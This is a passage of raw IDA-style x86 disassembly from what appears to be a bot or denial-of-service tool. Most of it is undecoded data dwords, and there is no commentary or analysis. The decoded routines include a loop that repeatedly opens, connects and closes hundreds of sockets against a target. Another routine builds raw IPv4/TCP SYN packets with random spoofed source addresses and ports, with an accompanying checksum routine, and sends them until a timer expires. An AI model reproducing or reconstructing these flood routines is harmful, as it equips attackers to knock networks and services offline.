ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_412B08 add esp, 20h test eax, eax jnz short loc_412E8E push 1 pop eax loc_412E8E: ; CODE XREF: ___:00412E89j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh dd 50004CAFh, 0FC44858Dh, 2468FFFFh, 5000435Ch, 8995E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h dd 59FFFF84h, 0E8905759h, 22CD0C8h, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CAF5415h db 0, 83h word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A18Co dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BF4h, 891CE850h dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h dd 5959FFFFh, 51E89057h, 8D022CD0h, 0FFFE4885h, 15FF50FFh dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BD4h, 88B4E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h dd 575959FFh, 0CFEAE890h, 106A022Ch, 57E4458Dh, 856EE850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DCE805C6h dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh, 0FF004CB0h dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435B8C68h dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h dd 0FF022CCEh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B4068h dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 97E8C875h, 59FFFF81h, 0E8905759h, 22CCD7Ch dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+550Fo dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 7C68FFFFh, 5000435Ch, 8589E8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh dd 2CCCBFE8h, 0C33B9002h, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CAE8Ch, 0C0753B46h, 75FFDA7Ch, 2C15FF08h, 8D004CB0h dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C5068h, 0BBE85000h dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h dd 59FFFF80h, 0F1E85359h, 90022CCBh dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+575Bo dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0DEE89000h dd 500227D1h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0D068FFFFh dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Ch dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 0D924E890h dd 754E0225h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 0A468FFFFh, 5000435Ch, 82A5E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h dd 575959FFh, 2CC9DBE8h db 2, 90h word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 5CF868FFh, 0E8500043h, 820Ah, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh dd 3DE89056h, 5F022CC9h ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C5 proc near ; CODE XREF: ___:004137AEp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CAF74 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413783 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413710: ; CODE XREF: sub_4136C5+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413718: ; CODE XREF: sub_4136C5+7Aj push 0 push 1 push 2 call near ptr 71AB3C22h nop cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373B lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_41373B: ; CODE XREF: sub_4136C5+64j add esi, 4 dec ebx jnz short loc_413718 lea esi, [ebp+var_654] mov ebx, edi loc_413749: ; CODE XREF: sub_4136C5+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_413749 push 64h nop call near ptr 2670ECAh lea esi, [ebp+var_654] mov ebx, edi loc_41376D: ; CODE XREF: sub_4136C5+B4j push dword ptr [esi] call near ptr 71AB1A6Dh nop add esi, 4 dec ebx jnz short loc_41376D dec [ebp+arg_4] jnz short loc_413710 pop edi pop esi pop ebx loc_413783: ; CODE XREF: sub_4136C5+3Ej xor eax, eax leave retn sub_4136C5 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C5 add esp, 18h test eax, eax jnz short loc_4137BD push 1 pop eax loc_4137BD: ; CODE XREF: ___:004137B8j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+6449o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D24h, 8064E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF7BB2h, 90565959h, 2CC797E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386B proc near ; CODE XREF: ___:00413B59p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_4138AB xor eax, eax jmp loc_413B19 ; --------------------------------------------------------------------------- loc_4138AB: ; CODE XREF: sub_41386B+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B11 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_413B07 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CAF74 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CAF74 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CAF74 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 27A0000h lea eax, [ebp+var_8] push eax nop call near ptr 2790A82h push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413996: ; CODE XREF: sub_41386B+25Dj ; sub_41386B+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_413ADB add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 2790A82h mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B04 jl loc_413996 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B04 jmp loc_413996 ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_41386B+247j call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435D4C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413B04: ; CODE XREF: sub_41386B+25Bj ; sub_41386B+269j mov ebx, [ebp+arg_8] loc_413B07: ; CODE XREF: sub_41386B+78j ; sub_41386B+297j push [ebp+var_C] call dword_4CB00C pop esi loc_413B11: ; CODE XREF: sub_41386B+5Bj call dword_4CAECC mov eax, ebx loc_413B19: ; CODE XREF: sub_41386B+3Bj pop edi pop ebx leave retn sub_41386B endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386B add esp, 1Ch test eax, eax jnz short loc_413B68 push 1 pop eax loc_413B68: ; CODE XREF: ___:00413B63j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 5DE8h, 50595900h, 0FC6C858Dh, 6C68FFFFh, 5000435Dh dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3E8F075h, 59FFFF78h, 0E9E85659h, 90022CC3h, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h dd 5415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh, 0E2458966h dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh dd 4CB00C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CAFF4h dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch, 0FFFBC085h dd 5E8468FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h dd 535959FFh, 2CC103E8h, 4D8D9002h, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h dd 0C0858D50h, 68FFFFFBh, 435E4Ch, 7958E850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 9FE8FFFFh, 59FFFF74h, 85E85359h, 90022CC0h, 0FDC4858Dh dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 435E2C68h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h dd 15E85359h, 90022CC0h, 458D106Ah, 0E85053BCh, 7598h dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAF74h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AF7015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB80h, 77EEE850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CAF74h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 7415FF06h dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 435DDC68h, 0C0858D00h, 68FFFFFBh dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 19E85359h dd 90022CBDh, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 435D8C68h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h dd 90535959h, 2CBC87E8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A5 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414397: ; CODE XREF: ___:0041439Fj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414397 pop edi cmp eax, 1 loc_4143A5: ; CODE XREF: ___:0041438Bj jnz short loc_4143B2 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4143B2: ; CODE XREF: ___:loc_4143A5j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_4143CB db 55h ; DATA 